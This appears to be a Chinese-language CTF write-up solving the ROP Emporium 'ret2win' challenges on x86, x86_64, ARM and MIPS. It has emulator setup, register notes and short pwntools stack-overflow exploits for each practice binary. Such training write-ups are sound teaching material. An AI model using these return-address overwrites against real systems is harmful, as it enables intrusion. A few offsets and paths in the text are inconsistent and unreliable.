https://ropemporium.com 各种架构的ROP练习

0x01 ret2win32

x86架构的ret2text,非常简单,程序有栈溢出,没有canary保护,所以只要溢出覆盖ebp后,将ret地址覆盖为ret2win函数的地址即可。

1
2
3
4
5
6
7
8
from pwn import *
r = process('./ret2win32')

ret2win = 0x804862C

payload = b'a'*0x2c+p32(ret2win)
r.sendline(payload)
r.interactive()

0x02 ret2win

x86_64架构的ret2text,一样的非常简单,栈溢出完了之后覆盖ret地址为后门地址即可。但是这里需要注意一个问题,如果直接选取ret2win的函数地址,puts函数可以被正常执行,但是发现flag不会显示出来。不用调试也能知道这是64位下栈平衡的问题,并且前面的函数可以执行但唯独system执行不了的话,是卡在了do_system这个函数,这里不展开叙述。解决方案是,跳过ret2win函数中push rbp的语句即可。

1
2
3
4
5
6
7
8
from pwn import *
r = process('./ret2win')

ret2win = 0x400764 # 57-64理论上都可以

payload = b'a'*0x28+p64(ret2win)
r.sendline(payload)
r.interactive()

0x03 ret2win_armv5

虽然不是第一次见到异构pwn题,但是是第一次做,所以这里记录一下基本的环境配置步骤和arm汇编相关的知识,但不会深入展开,主打一个够用就行。

环境配置
1
2
3
4
5
$ sudo apt-get update
$ sudo apt install gdb-multiarch
$ sudo apt install qemu-user qemu-user-static gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu binutils-aarch64-linux-gnu-dbg build-essential gcc-arm-linux-gnueabi libc6-armel-cross
$ sudo mkdir /etc/qemu-binfmt
$ sudo ln -s /usr/arm-linux-gnueabi /etc/qemu-binfmt/arm
运行程序

如果想要在终端运行arm架构的程序,那就用以下命令

1
$ qemu-arm-static ./your_exec_file

如果找不到动态链接库,就加个-L /usr/mipsel-linux-gnu/在中间就行,调试同理。

调试程序

如果想要调试arm架构的程序,使用以下命令

1
$ qemu-arm-static -g 9999 ./your_exec_file

然后打开另一个终端,输入

1
2
3
$ gdb-multiarch -q ./your_exec_file
pwndbg> set solib-search-path /usr/arm-linux-gnueabi/lib/
pwndbg> target remote :9999

上面的9999是端口,数字可以自己定。第三行命令是为了让gdb找到动态链接库。如果是aarch64架构的,也是一样的操作,换一下动态链接库路径为/usr/aarch64-linux-gnu/lib/即可。

题目分析

ret2win_armv5汇编代码

首先先看看arm寄存器方面和x86的不同之处。

  • 32位的arm有13个通用寄存器,分别是R0-R12。
  • R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果。
  • 在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中。
  • R7寄存器在函数调用中负责存储系统调用号。
  • R11寄存器,又称FP,可以用来记录回溯信息,也可以当做局部变量来使用。
  • R13是栈指针寄存器,又称SP,相当于esp。
  • R14为链接寄存器,又称LR,用于保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数)。有点像ret地址。
  • R15为程序计数器,又称PC,类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+4的地址。这个寄存器可读可写,对PC进行写操作可以改变程序执行流,而且是立马就变。
  • 还有一些特殊的标志寄存器,这里不做介绍。

现在我们来看代码。首先把LR和R11压入栈,然后将SP+4存到R11,SP-0x20开辟栈空间。这和x86调用函数如出一辙。注意此时R11就指向返回地址了。

调用read的时候把第一个参数放到了R0,第二个参数是R11-0x24,放到了R1,第三个参数在R2。从这里可以确认的一点是我们输入的地方距离存放LR的地方隔了0x24。所以填充0x24padding再写个ret2win的地址,我们就算是利用栈溢出劫持了程序执行流。

函数结束之后先将R11-4赋给了SP,再分别将R11和PC出栈。那么这时,PC寄存器里地址就是我们写入的ret2win的函数地址。

调试

因为是第一次做arm的pwn题,我们还是详细调试一下看看,加深理解。首先我们开启gdb-multiarch之后,连接qemu端口,设置好动态链接库。之后断点在pwnme函数,再往后就单步执行看栈和寄存器变化就可以了。

ret2win_armv5调试0

ret2win_armv5调试1

ret2win_armv5调试2

ret2win_armv5调试3

ret2win_armv5调试4

ret2win_armv5调试5

EXP
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.arch = 'arm'
context.log_level = 'debug'
r = process(['qemu-arm-static', '-L',
'/usr/arm-linux-gnueabi/', './ret2win_armv5'])

ret2win = 0x105EC

payload = b'a'*0x24+p32(ret2win)
r.sendline(payload)
r.interactive()

0x04 ret2win_mipsel

也是第一次接触的mips的pwn,和arm一样,先讲环境配置。

环境配置
1
2
3
4
$ sudo apt install qemu-user
$ sudo apt install libc6-mipsel-cross
$ sudo mkdir /etc/qemu-binfmt
$ sudo ln -s /usr/mipsel-linux-gnu /etc/qemu-binfmt/mipsel
运行程序
1
$ qemu-mipsel-static ./your_exec_file

如果找不到动态链接库,就加个-L /usr/mipsel-linux-gnu/在中间就行,调试同理。

调试程序
1
$ qemu-mipsel-static -g 9999 ./your_exec_file

然后打开另一个终端,输入

1
2
3
$ gdb-multiarch -q ./your_exec_file
pwndbg> set solib-search-path /usr/mipsel-linux-gnu/lib/
pwndbg> target remote :9999

和arm调试是一样的。

题目分析

ret2win_mipselRA入栈

ret2win_mipsel汇编代码

ret2win_mipselRA出栈

mips的指令和x86、arm的指令长得差很远。先来看一些基础的知识。

  1. MIPS32 架构中是没有 EBP 寄存器的,程序函数调用的时候是将当前栈指针向下移动 n 比特到该函数的 stack frame 存储组空间,函数返回的时候再加上偏移量恢复栈
  2. 传参过程中,前四个参数a0−a3,多余的会保存在调用函数的预留的栈顶空间内
  3. MIPS 调用函数时会把函数的返回地址直接存入 $RA 寄存器

可以注意到函数初始时RA寄存器的内容被入栈到了距离SP寄存器0x38+4的位置,函数退出时RA出栈。所以我们只要栈溢出到SP+0x60处写入ret2win函数地址即可成功劫持程序执行流。

EXP
1
2
3
4
5
6
7
8
from pwn import *
r = process(['qemu-mipsel-static', './ret2win_mipsel'])

ret2win = 0x400A00

payload = b'a'*36+p32(ret2win)
r.sendline(payload)
r.interactive()
⬆︎TOP